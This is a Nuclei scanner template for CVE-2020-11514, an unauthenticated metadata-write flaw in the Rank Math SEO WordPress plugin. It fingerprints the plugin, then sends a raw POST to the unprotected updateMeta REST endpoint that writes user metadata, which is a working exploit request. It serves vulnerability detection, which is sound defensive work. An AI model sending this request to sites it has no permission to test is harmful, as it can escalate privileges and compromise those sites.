Rank Math SEO <= 1.0.40.2 - Privilege Escalation via Unprotected REST API Endpoint

id: CVE-2020-11514

info:
  name: Rank Math SEO <= 1.0.40.2 - Privilege Escalation via Unprotected REST API Endpoint
  author: s4e-io
  severity: critical
  description: |
    The Rank Math plugin through 1.0.40.2 for WordPress allows unauthenticated remote attackers to update arbitrary WordPress metadata, including the ability to escalate or revoke administrative privileges for existing users via the unsecured rankmath/v1/updateMeta REST API endpoint.
  impact: |
    Unauthenticated attackers can escalate their privileges to administrator level or revoke administrative access from legitimate users, leading to complete compromise of the WordPress site.
  remediation: |
    Update the Rank Math SEO plugin to version 1.0.41 or later.
  reference:
    - https://www.wordfence.com/blog/2020/03/critical-vulnerabilities-affecting-over-200000-sites-patched-in-rank-math-seo-plugin/
    - https://rankmath.com/changelog/
    - https://wordpress.org/plugins/seo-by-rank-math/#developers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-11514
    cwe-id: CWE-862
    epss-score: 0.09106
    epss-percentile: 0.94704
    cpe: cpe:2.3:a:rankmath:seo:*:*:*:*:free:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: rankmath
    product: seo
    framework: wordpress
    publicwww-query: "/wp-content/plugins/seo-by-rank-math/"
  tags: cve,cve2020,wordpress,wordfence,seo-by-rank-math,wp-plugin,priv-esc,unauth,vkev,vuln

variables:
  objecttype: "{{randstr}}"
  rank: "{{to_lower(rand_text_alpha(5))}}"

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/seo-by-rank-math/readme.txt"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Rank Math")'
        condition: and

  - raw:
      - |
        POST /wp-json/rankmath/v1/updateMeta HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "objectID": "{{rand_int(1)}}",
          "objectType": "{{objecttype}}",
          "meta": {
            "rank_math_capabilities": ["{{rank}}"]
          }
        }

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "true")'
          - 'contains(content_type, "application/json")'
          - "status_code == 200"
        condition: and
# digest: 4a0a004730450221009c496e2bef3ebf51bbd653b0c6b8dd481dea8d065e69103677f321b3b2f19f3302206f48d3873f77305b436103d041d822452f06c0d3ccaf3c1231f931fcf80292ea:922c64590222798bb761d5b6d8e72950